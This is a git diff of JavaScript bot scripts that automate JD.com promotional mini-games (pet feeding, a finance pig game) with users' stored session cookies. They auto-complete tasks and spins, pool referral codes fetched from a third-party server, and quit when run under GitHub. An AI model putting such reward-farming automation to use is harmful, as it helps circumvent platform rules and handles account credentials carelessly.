+ if (signInit && !signInit.finished) {
+ await signInitFun();
+ }
+ // 首次喂食
+ if (firstFeedInit && !firstFeedInit.finished) {
+ await firstFeedInitFun();
+ }
+ // 三餐
+ if (threeMealInit && !threeMealInit.finished) {
+ if (threeMealInit.timeRange === -1) {
+ console.log(`未到三餐时间`);
+ } else {
+ await threeMealInitFun();
+ }
+ }
+ if (browseShopsInit && !browseShopsInit.finished) {
+ await browseShopsInitFun();
+ }
+ let browseSingleShopInitList = [];
+ taskList.map((item) => {
+ if (item.indexOf('browseSingleShopInit') > -1) {
+ browseSingleShopInitList.push(item);
+ }
+ });
+ // 去逛逛好货会场
+ for (let item of browseSingleShopInitList) {
+ const browseSingleShopInitTask = $.taskInfo[item];
+ if (browseSingleShopInitTask && !browseSingleShopInitTask.finished) {
+ await browseSingleShopInit(browseSingleShopInitTask);
+ }
+ }
+ if (inviteFriendsInit && !inviteFriendsInit.finished) {
+ await inviteFriendsInitFun();
+ }
+ // 投食10次
+ if (feedReachInit && !feedReachInit.finished) {
+ await feedReachInitFun();
+ }
+}
+// 好友助力信息
+async function masterHelpInit() {
+ let res = await request(arguments.callee.name.toString());
+ // console.log(`助力信息: ${JSON.stringify(res)}`);
+ if (res.code === '0' && res.resultCode === '0') {
+ if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length >= 5) {
+ if(!res.result.addedBonusFlag) {
+ console.log("开始领取额外奖励");
+ let getHelpAddedBonusResult = await request('getHelpAddedBonus');
+ if (getHelpAddedBonusResult.resultCode === '0') {
+ message += `【额外奖励${getHelpAddedBonusResult.result.reward}领取】${getHelpAddedBonusResult.message}\n`;
+ }
+ console.log(`领取30g额外奖励结果:【${getHelpAddedBonusResult.message}】`);
+ } else {
+ console.log("已经领取过5好友助力额外奖励");
+ message += `【额外奖励】已领取\n`;
+ }
+ } else {
+ console.log("助力好友未达到5个")
+ message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`;
+ }
+ if (res.result.masterHelpPeoples && res.result.masterHelpPeoples.length > 0) {
+ console.log('帮您助力的好友的名单开始')
+ let str = '';
+ res.result.masterHelpPeoples.map((item, index) => {
+ if (index === (res.result.masterHelpPeoples.length - 1)) {
+ str += item.nickName || "匿名用户";
+ } else {
+ str += (item.nickName || "匿名用户") + ',';
+ }
+ })
+ message += `【助力您的好友】${str}\n`;
+ }
+ }
+}
+/**
+ * 助力好友, 暂时支持一个好友, 需要拿到shareCode
+ * shareCode为你要助力的好友的
+ * 运行脚本时你自己的shareCode会在控制台输出, 可以将其分享给他人
+ */
+async function slaveHelp() {
+ //$.log(`\n因1.6日好友助力功能下线。故暂时屏蔽\n`)
+ //return
+ let helpPeoples = '';
+ for (let code of newShareCodes) {
+ console.log(`开始助力京东账号${$.index} - ${$.nickName}的好友: ${code}`);
+ if (!code) continue;
+ let response = await request(arguments.callee.name.toString(), {'shareCode': code});
+ if (response.code === '0' && response.resultCode === '0') {
+ if (response.result.helpStatus === 0) {
+ console.log('已给好友: 【' + response.result.masterNickName + '】助力成功');
+ helpPeoples += response.result.masterNickName + ',';
+ } else if (response.result.helpStatus === 1) {
+ // 您今日已无助力机会
+ console.log(`助力好友${response.result.masterNickName}失败,您今日已无助力机会`);
+ break;
+ } else if (response.result.helpStatus === 2) {
+ //该好友已满5人助力,无需您再次助力
+ console.log(`该好友${response.result.masterNickName}已满5人助力,无需您再次助力`);
+ } else {
+ console.log(`助力其他情况:${JSON.stringify(response)}`);
+ }
+ } else {
+ console.log(`助力好友结果: ${response.message}`);
+ }
+ }
+ if (helpPeoples && helpPeoples.length > 0) {
+ message += `【您助力的好友】${helpPeoples.substr(0, helpPeoples.length - 1)}\n`;
+ }
+}
+// 遛狗, 每天次数上限10次, 随机给狗粮, 每次遛狗结束需调用getSportReward领取奖励, 才能进行下一次遛狗
+async function petSport() {
+ console.log('开始遛弯');
+ let times = 1
+ const code = 0
+ let resultCode = 0
+ do {
+ let response = await request(arguments.callee.name.toString())
+ console.log(`第${times}次遛狗完成: ${JSON.stringify(response)}`);
+ resultCode = response.resultCode;
+ if (resultCode == 0) {
+ let sportRevardResult = await request('getSportReward');
+ console.log(`领取遛狗奖励完成: ${JSON.stringify(sportRevardResult)}`);
+ }
+ times++;
+ } while (resultCode == 0 && code == 0)
+ if (times > 1) {
+ // message += '【十次遛狗】已完成\n';
+ }
+}
+// 初始化任务, 可查询任务完成情况
+async function taskInit() {
+ console.log('开始任务初始化');
+ $.taskInit = await request(arguments.callee.name.toString(), {"version":1});
+}
+// 每日签到, 每天一次
+async function signInitFun() {
+ console.log('准备每日签到');
+ const response = await request("getSignReward");
+ console.log(`每日签到结果: ${JSON.stringify(response)}`);
+ if (response.code === '0' && response.resultCode === '0') {
+ console.log(`【每日签到成功】奖励${response.result.signReward}g狗粮\n`);
+ // message += `【每日签到成功】奖励${response.result.signReward}g狗粮\n`;
+ } else {
+ console.log(`【每日签到】${response.message}\n`);
+ // message += `【每日签到】${response.message}\n`;
+ }
+}
+
+// 三餐签到, 每天三段签到时间
+async function threeMealInitFun() {
+ console.log('准备三餐签到');
+ const response = await request("getThreeMealReward");
+ console.log(`三餐签到结果: ${JSON.stringify(response)}`);
+ if (response.code === '0' && response.resultCode === '0') {
+ console.log(`【定时领狗粮】获得${response.result.threeMealReward}g\n`);
+ // message += `【定时领狗粮】获得${response.result.threeMealReward}g\n`;
+ } else {
+ console.log(`【定时领狗粮】${response.message}\n`);
+ // message += `【定时领狗粮】${response.message}\n`;
+ }
+}
+
+// 浏览指定店铺 任务
+async function browseSingleShopInit(item) {
+ console.log(`开始做 ${item.title} 任务, ${item.desc}`);
+ const body = {"index": item['index'], "version":1, "type":1};
+ const body2 = {"index": item['index'], "version":1, "type":2};
+ const response = await request("getSingleShopReward", body);
+ // console.log(`点击进去response::${JSON.stringify(response)}`);
+ if (response.code === '0' && response.resultCode === '0') {
+ const response2 = await request("getSingleShopReward", body2);
+ // console.log(`浏览完毕领取奖励:response2::${JSON.stringify(response2)}`);
+ if (response2.code === '0' && response2.resultCode === '0') {
+ console.log(`【浏览指定店铺】获取${response2.result.reward}g\n`);
+ // message += `【浏览指定店铺】获取${response2.result.reward}g\n`;
+ }
+ }
+}
+
+// 浏览店铺任务, 任务可能为多个? 目前只有一个
+async function browseShopsInitFun() {
+ console.log('开始浏览店铺任务');
+ let times = 0;
+ let resultCode = 0;
+ let code = 0;
+ do {
+ let response = await request("getBrowseShopsReward");
+ console.log(`第${times}次浏览店铺结果: ${JSON.stringify(response)}`);
+ code = response.code;
+ resultCode = response.resultCode;
+ times++;
+ } while (resultCode == 0 && code == 0 && times < 5)
+ console.log('浏览店铺任务结束');
+}
+// 首次投食 任务
+function firstFeedInitFun() {
+ console.log('首次投食任务合并到10次喂食任务中\n');
+}
+
+// 邀请新用户
+async function inviteFriendsInitFun() {
+ console.log('邀请新用户功能未实现');
+ if ($.taskInfo.inviteFriendsInit.status == 1 && $.taskInfo.inviteFriendsInit.inviteFriendsNum > 0) {
+ // 如果有邀请过新用户,自动领取60gg奖励
+ const res = await request('getInviteFriendsReward');
+ if (res.code == 0 && res.resultCode == 0) {
+ console.log(`领取邀请新用户奖励成功,获得狗粮现有狗粮${$.taskInfo.inviteFriendsInit.reward}g,${res.result.foodAmount}g`);
+ message += `【邀请新用户】获取狗粮${$.taskInfo.inviteFriendsInit.reward}g\n`;
+ }
+ }
+}
+
+/**
+ * 投食10次 任务
+ */
+async function feedReachInitFun() {
+ console.log('投食任务开始...');
+ let finishedTimes = $.taskInfo.feedReachInit.hadFeedAmount / 10; //已经喂养了几次
+ let needFeedTimes = 10 - finishedTimes; //还需要几次
+ let tryTimes = 20; //尝试次数
+ do {
+ console.log(`还需要投食${needFeedTimes}次`);
+ const response = await request('feedPets');
+ console.log(`本次投食结果: ${JSON.stringify(response)}`);
+ if (response.resultCode == 0 && response.code == 0) {
+ needFeedTimes--;
+ }
+ if (response.resultCode == 3003 && response.code == 0) {
+ console.log('剩余狗粮不足, 投食结束');
+ needFeedTimes = 0;
+ }
+ tryTimes--;
+ } while (needFeedTimes > 0 && tryTimes > 0)
+ console.log('投食任务结束...\n');
+}
+async function showMsg() {
+ if ($.isNode() && process.env.PET_NOTIFY_CONTROL) {
+ $.ctrTemp = `${process.env.PET_NOTIFY_CONTROL}` === 'false';
+ } else if ($.getdata('jdPetNotify')) {
+ $.ctrTemp = $.getdata('jdPetNotify') === 'false';
+ } else {
+ $.ctrTemp = `${jdNotify}` === 'false';
+ }
+ // jdNotify = `${notify.petNotifyControl}` === 'false' && `${jdNotify}` === 'false' && $.getdata('jdPetNotify') === 'false';
+ if ($.ctrTemp) {
+ $.msg($.name, subTitle, message, option);
+ if ($.isNode()) {
+ allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`
+ // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`);
+ }
+ } else {
+ $.log(`\n${message}\n`);
+ }
+}
+function readShareCode() {
+ return new Promise(async resolve => {
+ $.get({url: `http://share.turinglabs.net/api/v3/pet/query/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`)
+ data = JSON.parse(data);
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ await $.wait(10000);
+ resolve()
+ })
+}
+function shareCodesFormat() {
+ return new Promise(async resolve => {
+ // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`)
+ newShareCodes = [];
+ if ($.shareCodesArr[$.index - 1]) {
+ newShareCodes = $.shareCodesArr[$.index - 1].split('@');
+ } else {
+ console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`)
+ const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1);
+ newShareCodes = shareCodes[tempIndex].split('@');
+ }
+ //因好友助力功能下线。故暂时屏蔽
+ const readShareCodeRes = await readShareCode();
+ //const readShareCodeRes = null;
+ if (readShareCodeRes && readShareCodeRes.code === 200) {
+ newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])];
+ }
+ console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`)
+ resolve();
+ })
+}
+function requireConfig() {
+ return new Promise(resolve => {
+ console.log('开始获取东东萌宠配置文件\n')
+ notify = $.isNode() ? require('./sendNotify') : '';
+ //Node.js用户请在jdCookie.js处填写京东ck;
+ const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+ const jdPetShareCodes = $.isNode() ? require('./jdPetShareCodes.js') : '';
+ //IOS等用户直接用NobyDa的jd cookie
+ if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ if (jdCookieNode[item]) {
+ cookiesArr.push(jdCookieNode[item])
+ }
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+ } else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+ }
+ console.log(`共${cookiesArr.length}个京东账号\n`)
+ $.shareCodesArr = [];
+ if ($.isNode()) {
+ Object.keys(jdPetShareCodes).forEach((item) => {
+ if (jdPetShareCodes[item]) {
+ $.shareCodesArr.push(jdPetShareCodes[item])
+ }
+ })
+ } else {
+ if ($.getdata('jd_pet_inviter')) $.shareCodesArr = $.getdata('jd_pet_inviter').split('\n').filter(item => !!item);
+ console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_pet_inviter') ? $.getdata('jd_pet_inviter') : '暂无'}\n`);
+ }
+ // console.log(`$.shareCodesArr::${JSON.stringify($.shareCodesArr)}`)
+ // console.log(`jdPetShareArr账号长度::${$.shareCodesArr.length}`)
+ console.log(`您提供了${$.shareCodesArr.length}个账号的东东萌宠助力码\n`);
+ resolve()
+ })
+}
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+// 请求
+async function request(function_id, body = {}) {
+ await $.wait(3000); //歇口气儿, 不然会报操作频繁
+ return new Promise((resolve, reject) => {
+ $.post(taskUrl(function_id, body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log('\n东东萌宠: API查询请求失败 ‼️‼️');
+ console.log(JSON.stringify(err));
+ $.logErr(err);
+ } else {
+ data = JSON.parse(data);
+ }
+ } catch (e) {
+ $.logErr(e, resp);
+ } finally {
+ resolve(data)
+ }
+ })
+ })
+}
+// function taskUrl(function_id, body = {}) {
+// return {
+// url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&loginWQBiz=pet-town&body=${escape(JSON.stringify(body))}`,
+// headers: {
+// Cookie: cookie,
+// UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+// }
+// };
+// }
+function taskUrl(function_id, body = {}) {
+ body["version"] = 2;
+ body["channel"] = 'app';
+ return {
+ url: `${JD_API_HOST}?functionId=${function_id}`,
+ body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`,
+ headers: {
+ 'Cookie': cookie,
+ 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ 'Host': 'api.m.jd.com',
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ }
+ };
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_pigPet.js b/Task/jd_pigPet.js
new file mode 100644
index 0000000..ebbeac8
--- /dev/null
+++ b/Task/jd_pigPet.js
@@ -0,0 +1,706 @@
+/*
+Last Modified time: 2021-5-19 12:27:16
+活动入口:京东金融养猪猪
+一键开完所有的宝箱功能。耗时70秒
+大转盘抽奖
+喂食
+每日签到
+完成分享任务得猪粮
+已支持IOS双京东账号,Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js
+===============Quantumultx===============
+[task_local]
+#京东金融养猪猪
+12 0-23/6 * * * jd_pigPet.js, tag=京东金融养猪猪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyz.png, enabled=true
+
+================Loon==============
+[Script]
+cron "12 0-23/6 * * *" script-path=jd_pigPet.js, tag=京东金融养猪猪
+
+===============Surge=================
+京东金融养猪猪 = type=cron,cronexp="12 0-23/6 * * *",wake-system=1,timeout=3600,script-path=jd_pigPet.js
+
+============小火箭=========
+京东金融养猪猪 = type=cron,script-path=jd_pigPet.js, cronexpr="12 0-23/6 * * *", timeout=3600, enable=true
+ */
+
+const $ = new Env('金融养猪');
+let cookiesArr = [], cookie = '', allMessage = '';
+const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m';
+const MISSION_BASE_API = `https://ms.jr.jd.com/gw/generic/mission/h5/m`;
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ await TotalBean();
+ console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await jdPigPet();
+ }
+ }
+ if (allMessage && new Date().getHours() % 6 === 0) {
+ if ($.isNode()) await notify.sendNotify($.name, allMessage);
+ $.msg($.name, '', allMessage);
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+async function jdPigPet() {
+ try {
+ await pigPetLogin();
+ if (!$.hasPig) return
+ await pigPetSignIndex();
+ await pigPetSign();
+ await pigPetOpenBox();
+ await pigPetLotteryIndex();
+ await pigPetLottery();
+ await pigPetMissionList();
+ await missions();
+ await pigPetUserBag();
+ } catch (e) {
+ $.logErr(e)
+ }
+}
+async function pigPetLottery() {
+ if ($.currentCount > 0) {
+ for (let i = 0; i < $.currentCount; i ++) {
+ await pigPetLotteryPlay();
+ }
+ }
+}
+async function pigPetSign() {
+ if (!$.sign) {
+ await pigPetSignOne();
+ } else {
+ console.log(`第${$.no}天已签到\n`)
+ }
+}
+function pigPetSignOne() {
+ return new Promise(async resolve => {
+ const body = {
+ "source":2,
+ "channelLV":"juheye",
+ "riskDeviceParam": "{}",
+ "no": $.no
+ }
+ $.post(taskUrl('pigPetSignOne', body), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ console.log('签到结果',data)
+ // data = JSON.parse(data);
+ // if (data.resultCode === 0) {
+ // if (data.resultData.resultCode === 0) {
+ // if (data.resultData.resultData) {
+ // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`);
+ // $.sign = data.resultData.resultData.sign;
+ // $.no = data.resultData.resultData.today;
+ // }
+ // } else {
+ // console.log(`查询签到情况异常:${JSON.stringify(data)}`)
+ // }
+ // }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//查询背包食物
+function pigPetUserBag() {
+ return new Promise(async resolve => {
+ const body = {"source":0,"channelLV":"yqs","riskDeviceParam":"{}","t":Date.now(),"skuId":"1001003004","category":"1001"};
+ $.post(taskUrl('pigPetUserBag', body), async (err, resp, data) => {
+ try {
+ if (err) {
